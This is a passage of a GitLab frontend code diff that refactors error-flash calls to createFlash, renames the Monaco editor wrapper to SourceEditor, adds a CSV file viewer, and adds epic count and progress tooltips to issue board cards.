const PROJECT_VSA_PATH_BASE = '/:project_path/-/analytics/value_stream_analytics/value_streams';
const PROJECT_VSA_STAGES_PATH = `${PROJECT_VSA_PATH_BASE}/:value_stream_id/stages`;
@@ -13,6 +15,12 @@ const buildProjectValueStreamPath = (projectPath, valueStreamId = null) => {
return buildApiUrl(PROJECT_VSA_PATH_BASE).replace(':project_path', projectPath);
};
+const buildGroupValueStreamPath = ({ groupId, valueStreamId = null, stageId = null }) =>
+ buildApiUrl(GROUP_VSA_PATH_BASE)
+ .replace(':id', groupId)
+ .replace(':value_stream_id', valueStreamId)
+ .replace(':stage_id', stageId);
+
export const getProjectValueStreams = (projectPath) => {
const url = buildProjectValueStreamPath(projectPath);
return axios.get(url);
@@ -30,3 +38,14 @@ export const getProjectValueStreamStageData = ({ requestPath, stageId, params })
export const getProjectValueStreamMetrics = (requestPath, params) =>
axios.get(requestPath, { params });
+
+/**
+ * Shared group VSA paths
+ * We share some endpoints across and group and project level VSA
+ * When used for project level VSA, requests should include the `project_id` in the params object
+ */
+
+export const getValueStreamStageMedian = ({ groupId, valueStreamId, stageId }, params = {}) => {
+ const stageBase = buildGroupValueStreamPath({ groupId, valueStreamId, stageId });
+ return axios.get(`${stageBase}/median`, { params });
+};
diff --git a/app/assets/javascripts/api/constants.js b/app/assets/javascripts/api/constants.js
deleted file mode 100644
index b6c720a85f3..00000000000
--- a/app/assets/javascripts/api/constants.js
+++ /dev/null
@@ -1 +0,0 @@
-export const DEFAULT_PER_PAGE = 20;
diff --git a/app/assets/javascripts/api/groups_api.js b/app/assets/javascripts/api/groups_api.js
index d6c9e1d42cc..a563afc6abb 100644
--- a/app/assets/javascripts/api/groups_api.js
+++ b/app/assets/javascripts/api/groups_api.js
@@ -1,6 +1,6 @@
+import { DEFAULT_PER_PAGE } from '~/api';
import axios from '../lib/utils/axios_utils';
import { buildApiUrl } from './api_utils';
-import { DEFAULT_PER_PAGE } from './constants';
const GROUPS_PATH = '/api/:version/groups.json';
const DESCENDANT_GROUPS_PATH = '/api/:version/groups/:id/descendant_groups';
diff --git a/app/assets/javascripts/api/projects_api.js b/app/assets/javascripts/api/projects_api.js
index d9a2467cff3..1cd7fb0b954 100644
--- a/app/assets/javascripts/api/projects_api.js
+++ b/app/assets/javascripts/api/projects_api.js
@@ -1,6 +1,6 @@
+import { DEFAULT_PER_PAGE } from '~/api';
import axios from '../lib/utils/axios_utils';
import { buildApiUrl } from './api_utils';
-import { DEFAULT_PER_PAGE } from './constants';
const PROJECTS_PATH = '/api/:version/projects.json';
diff --git a/app/assets/javascripts/api/user_api.js b/app/assets/javascripts/api/user_api.js
index 27901120c53..09995fad628 100644
--- a/app/assets/javascripts/api/user_api.js
+++ b/app/assets/javascripts/api/user_api.js
@@ -1,8 +1,8 @@
-import { deprecatedCreateFlash as flash } from '~/flash';
+import { DEFAULT_PER_PAGE } from '~/api';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import axios from '../lib/utils/axios_utils';
import { buildApiUrl } from './api_utils';
-import { DEFAULT_PER_PAGE } from './constants';
const USER_COUNTS_PATH = '/api/:version/user_counts';
const USERS_PATH = '/api/:version/users.json';
@@ -52,7 +52,11 @@ export function getUserProjects(userId, query, options, callback) {
params: { ...defaults, ...options },
})
.then(({ data }) => callback(data))
- .catch(() => flash(__('Something went wrong while fetching projects')));
+ .catch(() =>
+ createFlash({
+ message: __('Something went wrong while fetching projects'),
+ }),
+ );
}
export function updateUserStatus({ emoji, message, availability, clearStatusAfter }) {
diff --git a/app/assets/javascripts/awards_handler.js b/app/assets/javascripts/awards_handler.js
index 43f44370af8..43ca5b5cf89 100644
--- a/app/assets/javascripts/awards_handler.js
+++ b/app/assets/javascripts/awards_handler.js
@@ -7,7 +7,7 @@ import { uniq } from 'lodash';
import * as Emoji from '~/emoji';
import { scrollToElement } from '~/lib/utils/common_utils';
import { dispose, fixTitle } from '~/tooltips';
-import { deprecatedCreateFlash as flash } from './flash';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
import { isInVueNoteablePage } from './lib/utils/dom_utils';
import { __ } from './locale';
@@ -488,7 +488,11 @@ export class AwardsHandler {
callback();
}
})
- .catch(() => flash(__('Something went wrong on our end.')));
+ .catch(() =>
+ createFlash({
+ message: __('Something went wrong on our end.'),
+ }),
+ );
}
findEmojiIcon(votesBlock, emoji) {
diff --git a/app/assets/javascripts/badges/components/badge.vue b/app/assets/javascripts/badges/components/badge.vue
index 309af368df9..53469ac8999 100644
--- a/app/assets/javascripts/badges/components/badge.vue
+++ b/app/assets/javascripts/badges/components/badge.vue
@@ -84,7 +84,7 @@ export default {
/>
</a>
- <gl-loading-icon v-show="isLoading" :inline="true" />
+ <gl-loading-icon v-show="isLoading" size="sm" :inline="true" />
<div v-show="hasError" class="btn-group">
<div class="btn btn-default btn-sm disabled">
diff --git a/app/assets/javascripts/badges/components/badge_form.vue b/app/assets/javascripts/badges/components/badge_form.vue
index 7c4ff830a9d..7e605099655 100644
--- a/app/assets/javascripts/badges/components/badge_form.vue
+++ b/app/assets/javascripts/badges/components/badge_form.vue
@@ -221,7 +221,7 @@ export default {
:link-url="renderedLinkUrl"
/>
<p v-show="isRendering">
- <gl-loading-icon :inline="true" />
+ <gl-loading-icon size="sm" :inline="true" />
</p>
<p v-show="!renderedBadge && !isRendering" class="disabled-content">
{{ s__('Badges|No image to preview') }}
diff --git a/app/assets/javascripts/badges/components/badge_list_row.vue b/app/assets/javascripts/badges/components/badge_list_row.vue
index fda51c98e2c..d8525c15087 100644
--- a/app/assets/javascripts/badges/components/badge_list_row.vue
+++ b/app/assets/javascripts/badges/components/badge_list_row.vue
@@ -73,7 +73,7 @@ export default {
data-testid="delete-badge"
@click="updateBadgeInModal(badge)"
/>
- <gl-loading-icon v-show="badge.isDeleting" :inline="true" />
+ <gl-loading-icon v-show="badge.isDeleting" size="sm" :inline="true" />
</div>
</div>
</div>
diff --git a/app/assets/javascripts/batch_comments/components/draft_note.vue b/app/assets/javascripts/batch_comments/components/draft_note.vue
index e6de724512f..96c3b8276ee 100644
--- a/app/assets/javascripts/batch_comments/components/draft_note.vue
+++ b/app/assets/javascripts/batch_comments/components/draft_note.vue
@@ -94,9 +94,11 @@ export default {
@handleUpdateNote="update"
@toggleResolveStatus="toggleResolveDiscussion(draft.id)"
>
- <strong slot="note-header-info" class="badge draft-pending-label gl-mr-2">
- {{ __('Pending') }}
- </strong>
+ <template #note-header-info>
+ <strong class="badge draft-pending-label gl-mr-2">
+ {{ __('Pending') }}
+ </strong>
+ </template>
</noteable-note>
</ul>
diff --git a/app/assets/javascripts/batch_comments/components/review_bar.vue b/app/assets/javascripts/batch_comments/components/review_bar.vue
index 9ffc5ee34cf..080a5543e53 100644
--- a/app/assets/javascripts/batch_comments/components/review_bar.vue
+++ b/app/assets/javascripts/batch_comments/components/review_bar.vue
@@ -26,7 +26,7 @@ export default {
</script>
<template>
<div v-show="draftsCount > 0">
- <nav class="review-bar-component">
+ <nav class="review-bar-component" data-testid="review_bar_component">
<div
class="review-bar-content d-flex gl-justify-content-end"
data-qa-selector="review_bar_content"
diff --git a/app/assets/javascripts/batch_comments/stores/modules/batch_comments/actions.js b/app/assets/javascripts/batch_comments/stores/modules/batch_comments/actions.js
index a8c0b064595..4ee22918463 100644
--- a/app/assets/javascripts/batch_comments/stores/modules/batch_comments/actions.js
+++ b/app/assets/javascripts/batch_comments/stores/modules/batch_comments/actions.js
@@ -1,5 +1,5 @@
import { isEmpty } from 'lodash';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { scrollToElement } from '~/lib/utils/common_utils';
import { __ } from '~/locale';
import { CHANGES_TAB, DISCUSSION_TAB, SHOW_TAB } from '../../../constants';
@@ -18,7 +18,9 @@ export const addDraftToDiscussion = ({ commit }, { endpoint, data }) =>
return res;
})
.catch(() => {
- flash(__('An error occurred adding a draft to the thread.'));
+ createFlash({
+ message: __('An error occurred adding a draft to the thread.'),
+ });
});
export const createNewDraft = ({ commit }, { endpoint, data }) =>
@@ -30,7 +32,9 @@ export const createNewDraft = ({ commit }, { endpoint, data }) =>
return res;
})
.catch(() => {
- flash(__('An error occurred adding a new draft.'));
+ createFlash({
+ message: __('An error occurred adding a new draft.'),
+ });
});
export const deleteDraft = ({ commit, getters }, draft) =>
@@ -39,7 +43,11 @@ export const deleteDraft = ({ commit, getters }, draft) =>
.then(() => {
commit(types.DELETE_DRAFT, draft.id);
})
- .catch(() => flash(__('An error occurred while deleting the comment')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while deleting the comment'),
+ }),
+ );
export const fetchDrafts = ({ commit, getters, state, dispatch }) =>
service
@@ -53,7 +61,11 @@ export const fetchDrafts = ({ commit, getters, state, dispatch }) =>
}
});
})
- .catch(() => flash(__('An error occurred while fetching pending comments')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while fetching pending comments'),
+ }),
+ );
export const publishSingleDraft = ({ commit, dispatch, getters }, draftId) => {
commit(types.REQUEST_PUBLISH_DRAFT, draftId);
@@ -111,7 +123,11 @@ export const updateDraft = (
.then((res) => res.data)
.then((data) => commit(types.RECEIVE_DRAFT_UPDATE_SUCCESS, data))
.then(callback)
- .catch(() => flash(__('An error occurred while updating the comment')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while updating the comment'),
+ }),
+ );
};
export const scrollToDraft = ({ dispatch, rootGetters }, draft) => {
diff --git a/app/assets/javascripts/behaviors/markdown/render_mermaid.js b/app/assets/javascripts/behaviors/markdown/render_mermaid.js
index 5fecadf2794..293fe9f4133 100644
--- a/app/assets/javascripts/behaviors/markdown/render_mermaid.js
+++ b/app/assets/javascripts/behaviors/markdown/render_mermaid.js
@@ -1,6 +1,6 @@
import $ from 'jquery';
import { once, countBy } from 'lodash';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { darkModeEnabled } from '~/lib/utils/color_utils';
import { __, sprintf } from '~/locale';
@@ -78,7 +78,9 @@ function importMermaidModule() {
mermaidModule = initMermaid(mermaid);
})
.catch((err) => {
- flash(sprintf(__("Can't load mermaid module: %{err}"), { err }));
+ createFlash({
+ message: sprintf(__("Can't load mermaid module: %{err}"), { err }),
+ });
// eslint-disable-next-line no-console
console.error(err);
});
@@ -205,7 +207,9 @@ function renderMermaids($els) {
});
})
.catch((err) => {
- flash(sprintf(__('Encountered an error while rendering: %{err}'), { err }));
+ createFlash({
+ message: sprintf(__('Encountered an error while rendering: %{err}'), { err }),
+ });
// eslint-disable-next-line no-console
console.error(err);
});
diff --git a/app/assets/javascripts/behaviors/preview_markdown.js b/app/assets/javascripts/behaviors/preview_markdown.js
index 5405819cfe0..a1911585f80 100644
--- a/app/assets/javascripts/behaviors/preview_markdown.js
+++ b/app/assets/javascripts/behaviors/preview_markdown.js
@@ -1,7 +1,7 @@
/* eslint-disable func-names */
import $ from 'jquery';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
@@ -79,7 +79,11 @@ MarkdownPreview.prototype.fetchMarkdownPreview = function (text, url, success) {
};
success(data);
})
- .catch(() => flash(__('An error occurred while fetching markdown preview')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while fetching markdown preview'),
+ }),
+ );
};
MarkdownPreview.prototype.hideReferencedUsers = function ($form) {
diff --git a/app/assets/javascripts/blob/balsamiq_viewer.js b/app/assets/javascripts/blob/balsamiq_viewer.js
index c9152db509a..af8e8a4cd3d 100644
--- a/app/assets/javascripts/blob/balsamiq_viewer.js
+++ b/app/assets/javascripts/blob/balsamiq_viewer.js
@@ -1,9 +1,11 @@
+import createFlash from '~/flash';
import { __ } from '~/locale';
-import { deprecatedCreateFlash as Flash } from '../flash';
import BalsamiqViewer from './balsamiq/balsamiq_viewer';
function onError() {
- const flash = new Flash(__('Balsamiq file could not be loaded.'));
+ const flash = createFlash({
+ message: __('Balsamiq file could not be loaded.'),
+ });
return flash;
}
diff --git a/app/assets/javascripts/blob/components/blob_content.vue b/app/assets/javascripts/blob/components/blob_content.vue
index 60729c11002..1a74675100b 100644
--- a/app/assets/javascripts/blob/components/blob_content.vue
+++ b/app/assets/javascripts/blob/components/blob_content.vue
@@ -27,6 +27,11 @@ export default {
default: false,
required: false,
},
+ richViewer: {
+ type: String,
+ default: '',
+ required: false,
+ },
loading: {
type: Boolean,
default: true,
@@ -71,6 +76,7 @@ export default {
v-else
ref="contentViewer"
:content="content"
+ :rich-viewer="richViewer"
:is-raw-content="isRawContent"
:file-name="blob.name"
:type="activeViewer.fileType"
diff --git a/app/assets/javascripts/blob/components/blob_edit_content.vue b/app/assets/javascripts/blob/components/blob_edit_content.vue
index 73ccc3289b9..0e670bbd80a 100644
--- a/app/assets/javascripts/blob/components/blob_edit_content.vue
+++ b/app/assets/javascripts/blob/components/blob_edit_content.vue
@@ -1,6 +1,6 @@
<script>
import { debounce } from 'lodash';
-import { initEditorLite } from '~/blob/utils';
+import { initSourceEditor } from '~/blob/utils';
import { SNIPPET_MEASURE_BLOBS_CONTENT } from '~/performance/constants';
import eventHub from './eventhub';
@@ -36,7 +36,7 @@ export default {
},
},
mounted() {
- this.editor = initEditorLite({
+ this.editor = initSourceEditor({
el: this.$refs.editor,
blobPath: this.fileName,
blobContent: this.value,
diff --git a/app/assets/javascripts/blob/components/blob_header_filepath.vue b/app/assets/javascripts/blob/components/blob_header_filepath.vue
index 99fe3938046..cb441a7e491 100644
--- a/app/assets/javascripts/blob/components/blob_header_filepath.vue
+++ b/app/assets/javascripts/blob/components/blob_header_filepath.vue
@@ -29,7 +29,7 @@ export default {
<slot name="filepath-prepend"></slot>
<template v-if="blob.path">
- <file-icon :file-name="blob.path" :size="18" aria-hidden="true" css-classes="mr-2" />
+ <file-icon :file-name="blob.path" :size="16" aria-hidden="true" css-classes="mr-2" />
<strong
class="file-title-name mr-1 js-blob-header-filepath"
data-qa-selector="file_title_content"
diff --git a/app/assets/javascripts/blob/csv/csv_viewer.vue b/app/assets/javascripts/blob/csv/csv_viewer.vue
new file mode 100644
index 00000000000..050f2785d9a
--- /dev/null
+++ b/app/assets/javascripts/blob/csv/csv_viewer.vue
@@ -0,0 +1,55 @@
+<script>
+import { GlAlert, GlLoadingIcon, GlTable } from '@gitlab/ui';
+import Papa from 'papaparse';
+
+export default {
+ components: {
+ GlTable,
+ GlAlert,
+ GlLoadingIcon,
+ },
+ props: {
+ csv: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ items: [],
+ errorMessage: null,
+ loading: true,
+ };
+ },
+ mounted() {
+ const parsed = Papa.parse(this.csv, { skipEmptyLines: true });
+ this.items = parsed.data;
+
+ if (parsed.errors.length) {
+ this.errorMessage = parsed.errors.map((e) => e.message).join('. ');
+ }
+
+ this.loading = false;
+ },
+};
+</script>
+
+<template>
+ <div class="container-fluid md gl-mt-3 gl-mb-3">
+ <div v-if="loading" class="gl-text-center loading">
+ <gl-loading-icon class="gl-mt-5" size="lg" />
+ </div>
+ <div v-else>
+ <gl-alert v-if="errorMessage" variant="danger" :dismissible="false">
+ {{ errorMessage }}
+ </gl-alert>
+ <gl-table
+ :empty-text="__('No CSV data to display.')"
+ :items="items"
+ :fields="$options.fields"
+ show-empty
+ thead-class="gl-display-none"
+ />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/blob/csv/index.js b/app/assets/javascripts/blob/csv/index.js
new file mode 100644
index 00000000000..4cf6c169c68
--- /dev/null
+++ b/app/assets/javascripts/blob/csv/index.js
@@ -0,0 +1,17 @@
+import Vue from 'vue';
+import CsvViewer from './csv_viewer.vue';
+
+export default () => {
+ const el = document.getElementById('js-csv-viewer');
+
+ return new Vue({
+ el,
+ render(createElement) {
+ return createElement(CsvViewer, {
+ props: {
+ csv: el.dataset.data,
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/blob/csv_viewer.js b/app/assets/javascripts/blob/csv_viewer.js
new file mode 100644
index 00000000000..64d3ba0b390
--- /dev/null
+++ b/app/assets/javascripts/blob/csv_viewer.js
@@ -0,0 +1,3 @@
+import renderCSV from './csv';
+
+export default renderCSV;
diff --git a/app/assets/javascripts/blob/file_template_mediator.js b/app/assets/javascripts/blob/file_template_mediator.js
index 59ab84bf208..136457c115d 100644
--- a/app/assets/javascripts/blob/file_template_mediator.js
+++ b/app/assets/javascripts/blob/file_template_mediator.js
@@ -2,11 +2,10 @@ import $ from 'jquery';
import Api from '~/api';
import initPopover from '~/blob/suggest_gitlab_ci_yml';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import toast from '~/vue_shared/plugins/global_toast';
-import { deprecatedCreateFlash as Flash } from '../flash';
-
import BlobCiYamlSelector from './template_selectors/ci_yaml_selector';
import DockerfileSelector from './template_selectors/dockerfile_selector';
import GitignoreSelector from './template_selectors/gitignore_selector';
@@ -146,7 +145,7 @@ export default class FileTemplateMediator {
text: __('Undo'),
onClick: (e, toastObj) => {
self.restoreFromCache();
- toastObj.goAway(0);
+ toastObj.hide();
},
},
});
@@ -155,7 +154,11 @@ export default class FileTemplateMediator {
initPopover(suggestCommitChanges);
}
})
- .catch((err) => new Flash(`An error occurred while fetching the template: ${err}`));
+ .catch((err) =>
+ createFlash({
+ message: __(`An error occurred while fetching the template: ${err}`),
+ }),
+ );
}
displayMatchedTemplateSelector() {
diff --git a/app/assets/javascripts/blob/openapi/index.js b/app/assets/javascripts/blob/openapi/index.js
index e6dc463f764..cb251274b18 100644
--- a/app/assets/javascripts/blob/openapi/index.js
+++ b/app/assets/javascripts/blob/openapi/index.js
@@ -1,5 +1,5 @@
import { SwaggerUIBundle } from 'swagger-ui-dist';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
export default () => {
@@ -13,7 +13,9 @@ export default () => {
});
})
.catch((error) => {
- flash(__('Something went wrong while initializing the OpenAPI viewer'));
+ createFlash({
+ message: __('Something went wrong while initializing the OpenAPI viewer'),
+ });
throw error;
});
};
diff --git a/app/assets/javascripts/blob/utils.js b/app/assets/javascripts/blob/utils.js
index 8043c0bbc07..bbc061dd36e 100644
--- a/app/assets/javascripts/blob/utils.js
+++ b/app/assets/javascripts/blob/utils.js
@@ -1,6 +1,6 @@
-import Editor from '~/editor/editor_lite';
+import Editor from '~/editor/source_editor';
-export function initEditorLite({ el, ...args }) {
+export function initSourceEditor({ el, ...args }) {
const editor = new Editor({
scrollbar: {
alwaysConsumeMouseWheel: false,
diff --git a/app/assets/javascripts/blob/viewer/index.js b/app/assets/javascripts/blob/viewer/index.js
index 22c6b31143f..4d133659daa 100644
--- a/app/assets/javascripts/blob/viewer/index.js
+++ b/app/assets/javascripts/blob/viewer/index.js
@@ -1,14 +1,16 @@
import $ from 'jquery';
import '~/behaviors/markdown/render_gfm';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import {
REPO_BLOB_LOAD_VIEWER_START,
REPO_BLOB_LOAD_VIEWER_FINISH,
REPO_BLOB_LOAD_VIEWER,
+ REPO_BLOB_SWITCH_TO_VIEWER_START,
+ REPO_BLOB_SWITCH_VIEWER,
} from '~/performance/constants';
import { performanceMarkAndMeasure } from '~/performance/utils';
import { fixTitle } from '~/tooltips';
-import { deprecatedCreateFlash as Flash } from '../../flash';
import axios from '../../lib/utils/axios_utils';
import { handleLocationHash } from '../../lib/utils/common_utils';
import eventHub from '../../notes/event_hub';
@@ -21,6 +23,8 @@ const loadRichBlobViewer = (type) => {
return import(/* webpackChunkName: 'notebook_viewer' */ '../notebook_viewer');
case 'openapi':
return import(/* webpackChunkName: 'openapi_viewer' */ '../openapi_viewer');
+ case 'csv':
+ return import(/* webpackChunkName: 'csv_viewer' */ '../csv_viewer');
case 'pdf':
return import(/* webpackChunkName: 'pdf_viewer' */ '../pdf_viewer');
case 'sketch':
@@ -38,13 +42,18 @@ export const handleBlobRichViewer = (viewer, type) => {
loadRichBlobViewer(type)
.then((module) => module?.default(viewer))
.catch((error) => {
- Flash(__('Error loading file viewer.'));
+ createFlash({
+ message: __('Error loading file viewer.'),
+ });
throw error;
});
};
export default class BlobViewer {
constructor() {
+ performanceMarkAndMeasure({
+ mark: REPO_BLOB_LOAD_VIEWER_START,
+ });
const viewer = document.querySelector('.blob-viewer[data-type="rich"]');
const type = viewer?.dataset?.richType;
BlobViewer.initAuxiliaryViewer();
@@ -137,7 +146,7 @@ export default class BlobViewer {
switchToViewer(name) {
performanceMarkAndMeasure({
- mark: REPO_BLOB_LOAD_VIEWER_START,
+ mark: REPO_BLOB_SWITCH_TO_VIEWER_START,
});
const newViewer = this.$fileHolder[0].querySelector(`.blob-viewer[data-type='${name}']`);
if (this.activeViewer === newViewer) return;
@@ -167,11 +176,15 @@ export default class BlobViewer {
BlobViewer.loadViewer(newViewer)
.then((viewer) => {
$(viewer).renderGFM();
+ window.requestIdleCallback(() => {
+ this.$fileHolder.trigger('highlight:line');
+ handleLocationHash();
- this.$fileHolder.trigger('highlight:line');
- handleLocationHash();
+ viewer.setAttribute('data-loaded', 'true');
+ this.toggleCopyButtonState();
+ eventHub.$emit('showBlobInteractionZones', viewer.dataset.path);
+ });
- this.toggleCopyButtonState();
performanceMarkAndMeasure({
mark: REPO_BLOB_LOAD_VIEWER_FINISH,
measures: [
@@ -179,10 +192,18 @@ export default class BlobViewer {
name: REPO_BLOB_LOAD_VIEWER,
start: REPO_BLOB_LOAD_VIEWER_START,
},
+ {
+ name: REPO_BLOB_SWITCH_VIEWER,
+ start: REPO_BLOB_SWITCH_TO_VIEWER_START,
+ },
],
});
})
- .catch(() => new Flash(__('Error loading viewer')));
+ .catch(() =>
+ createFlash({
+ message: __('Error loading viewer'),
+ }),
+ );
}
static loadViewer(viewerParam) {
@@ -197,9 +218,10 @@ export default class BlobViewer {
return axios.get(url).then(({ data }) => {
viewer.innerHTML = data.html;
- viewer.setAttribute('data-loaded', 'true');
- eventHub.$emit('showBlobInteractionZones', viewer.dataset.path);
+ window.requestIdleCallback(() => {
+ viewer.removeAttribute('data-loading');
+ });
return viewer;
});
diff --git a/app/assets/javascripts/blob_edit/edit_blob.js b/app/assets/javascripts/blob_edit/edit_blob.js
index 7c8d0d5ded0..7bfda46d71c 100644
--- a/app/assets/javascripts/blob_edit/edit_blob.js
+++ b/app/assets/javascripts/blob_edit/edit_blob.js
@@ -1,6 +1,6 @@
import $ from 'jquery';
-import EditorLite from '~/editor/editor_lite';
-import { FileTemplateExtension } from '~/editor/extensions/editor_file_template_ext';
+import { FileTemplateExtension } from '~/editor/extensions/source_editor_file_template_ext';
+import SourceEditor from '~/editor/source_editor';
import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { addEditorMarkdownListeners } from '~/lib/utils/text_markdown';
@@ -16,7 +16,7 @@ export default class EditBlob {
this.configureMonacoEditor();
if (this.options.isMarkdown) {
- import('~/editor/extensions/editor_markdown_ext')
+ import('~/editor/extensions/source_editor_markdown_ext')
.then(({ EditorMarkdownExtension: MarkdownExtension } = {}) => {
this.editor.use(new MarkdownExtension());
addEditorMarkdownListeners(this.editor);
@@ -40,7 +40,7 @@ export default class EditBlob {
const fileContentEl = document.getElementById('file-content');
const form = document.querySelector('.js-edit-blob-form');
- const rootEditor = new EditorLite();
+ const rootEditor = new SourceEditor();
this.editor = rootEditor.createInstance({
el: editorEl,
diff --git a/app/assets/javascripts/boards/boards_util.js b/app/assets/javascripts/boards/boards_util.js
index e14a770411e..46f97e09385 100644
--- a/app/assets/javascripts/boards/boards_util.js
+++ b/app/assets/javascripts/boards/boards_util.js
@@ -54,6 +54,7 @@ export function formatListIssues(listIssues) {
const listIssue = {
...i,
id,
+ fullId: i.id,
labels: i.labels?.nodes || [],
assignees: i.assignees?.nodes || [],
};
@@ -106,8 +107,8 @@ export function formatIssueInput(issueInput, boardConfig) {
const { labels, assigneeId, milestoneId } = boardConfig;
return {
- milestoneId: milestoneId ? fullMilestoneId(milestoneId) : null,
...issueInput,
+ milestoneId: milestoneId ? fullMilestoneId(milestoneId) : null,
labelIds: [...labelIds, ...(labels?.map((l) => fullLabelId(l)) || [])],
assigneeIds: [...assigneeIds, ...(assigneeId ? [fullUserId(assigneeId)] : [])],
};
diff --git a/app/assets/javascripts/boards/components/board_blocked_icon.vue b/app/assets/javascripts/boards/components/board_blocked_icon.vue
index 0f92e714752..b81edb4dfe6 100644
--- a/app/assets/javascripts/boards/components/board_blocked_icon.vue
+++ b/app/assets/javascripts/boards/components/board_blocked_icon.vue
@@ -1,7 +1,7 @@
<script>
import { GlIcon, GlLink, GlPopover, GlLoadingIcon } from '@gitlab/ui';
import { blockingIssuablesQueries, issuableTypes } from '~/boards/constants';
-import { IssueType } from '~/graphql_shared/constants';
+import { TYPE_ISSUE } from '~/graphql_shared/constants';
import { convertToGraphQLId } from '~/graphql_shared/utils';
import { truncate } from '~/lib/utils/text_utility';
import { __, n__, s__, sprintf } from '~/locale';
@@ -13,7 +13,7 @@ export default {
},
},
graphQLIdType: {
- [issuableTypes.issue]: IssueType,
+ [issuableTypes.issue]: TYPE_ISSUE,
},
referenceFormatter: {
[issuableTypes.issue]: (r) => r.split('/')[1],
@@ -163,7 +163,7 @@ export default {
><span data-testid="popover-title">{{ blockedLabel }}</span></template
>
<template v-if="loading">
- <gl-loading-icon />
+ <gl-loading-icon size="sm" />
<p class="gl-mt-4 gl-mb-0 gl-font-small">{{ loadingMessage }}</p>
</template>
<template v-else>
diff --git a/app/assets/javascripts/boards/components/board_card_inner.vue b/app/assets/javascripts/boards/components/board_card_inner.vue
index 2f4e9044b9e..05b64ddc773 100644
--- a/app/assets/javascripts/boards/components/board_card_inner.vue
+++ b/app/assets/javascripts/boards/components/board_card_inner.vue
@@ -1,5 +1,12 @@
<script>
-import { GlLabel, GlTooltipDirective, GlIcon, GlLoadingIcon } from '@gitlab/ui';
+import {
+ GlLabel,
+ GlTooltip,
+ GlTooltipDirective,
+ GlIcon,
+ GlLoadingIcon,
+ GlSprintf,
+} from '@gitlab/ui';
import { sortBy } from 'lodash';
import { mapActions, mapGetters, mapState } from 'vuex';
import boardCardInner from 'ee_else_ce/boards/mixins/board_card_inner';
@@ -16,6 +23,7 @@ import IssueTimeEstimate from './issue_time_estimate.vue';
export default {
components: {
+ GlTooltip,
GlLabel,
GlLoadingIcon,
GlIcon,
@@ -25,6 +33,7 @@ export default {
IssueTimeEstimate,
IssueCardWeight: () => import('ee_component/boards/components/issue_card_weight.vue'),
BoardBlockedIcon,
+ GlSprintf,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -55,7 +64,7 @@ export default {
};
},
computed: {
- ...mapState(['isShowingLabels', 'issuableType']),
+ ...mapState(['isShowingLabels', 'issuableType', 'allowSubEpics']),
...mapGetters(['isEpicBoard']),
cappedAssignees() {
// e.g. maxRender is 4,
@@ -99,6 +108,12 @@ export default {
}
return false;
},
+ shouldRenderEpicCountables() {
+ return this.isEpicBoard && this.item.hasIssues;
+ },
+ shouldRenderEpicProgress() {
+ return this.totalWeight > 0;
+ },
showLabelFooter() {
return this.isShowingLabels && this.item.labels.find(this.showLabel);
},
@@ -115,6 +130,20 @@ export default {
}
return __('Blocked issue');
},
+ totalEpicsCount() {
+ return this.item.descendantCounts.openedEpics + this.item.descendantCounts.closedEpics;
+ },
+ totalIssuesCount() {
+ return this.item.descendantCounts.openedIssues + this.item.descendantCounts.closedIssues;
+ },
+ totalWeight() {
+ return (
+ this.item.descendantWeightSum.openedIssues + this.item.descendantWeightSum.closedIssues
+ );
+ },
+ totalProgress() {
+ return Math.round((this.item.descendantWeightSum.closedIssues / this.totalWeight) * 100);
+ },
},
methods: {
...mapActions(['performSearch', 'setError']),
@@ -227,17 +256,93 @@ export default {
{{ itemId }}
</span>
<span class="board-info-items gl-mt-3 gl-display-inline-block">
- <issue-due-date
- v-if="item.dueDate"
- :date="item.dueDate"
- :closed="item.closed || Boolean(item.closedAt)"
- />
- <issue-time-estimate v-if="item.timeEstimate" :estimate="item.timeEstimate" />
- <issue-card-weight
- v-if="validIssueWeight(item)"
- :weight="item.weight"
- @click="filterByWeight(item.weight)"
- />
+ <span v-if="shouldRenderEpicCountables" data-testid="epic-countables">
+ <gl-tooltip :target="() => $refs.countBadge" data-testid="epic-countables-tooltip">
+ <p v-if="allowSubEpics" class="gl-font-weight-bold gl-m-0">
+ {{ __('Epics') }} &#8226;
+ <span class="gl-font-weight-normal">
+ <gl-sprintf :message="__('%{openedEpics} open, %{closedEpics} closed')">
+ <template #openedEpics>{{ item.descendantCounts.openedEpics }}</template>
+ <template #closedEpics>{{ item.descendantCounts.closedEpics }}</template>
+ </gl-sprintf>
+ </span>
+ </p>
+ <p class="gl-font-weight-bold gl-m-0">
+ {{ __('Issues') }} &#8226;
+ <span class="gl-font-weight-normal">
+ <gl-sprintf :message="__('%{openedIssues} open, %{closedIssues} closed')">
+ <template #openedIssues>{{ item.descendantCounts.openedIssues }}</template>
+ <template #closedIssues>{{ item.descendantCounts.closedIssues }}</template>
+ </gl-sprintf>
+ </span>
+ </p>
+ <p class="gl-font-weight-bold gl-m-0">
+ {{ __('Total weight') }} &#8226;
+ <span class="gl-font-weight-normal" data-testid="epic-countables-total-weight">
+ {{ totalWeight }}
+ </span>
+ </p>
+ </gl-tooltip>
+
+ <gl-tooltip
+ v-if="shouldRenderEpicProgress"
+ :target="() => $refs.progressBadge"
+ data-testid="epic-progress-tooltip"
+ >
+ <p class="gl-font-weight-bold gl-m-0">
+ {{ __('Progress') }} &#8226;
+ <span class="gl-font-weight-normal" data-testid="epic-progress-tooltip-content">
+ <gl-sprintf
+ :message="__('%{completedWeight} of %{totalWeight} weight completed')"
+ >
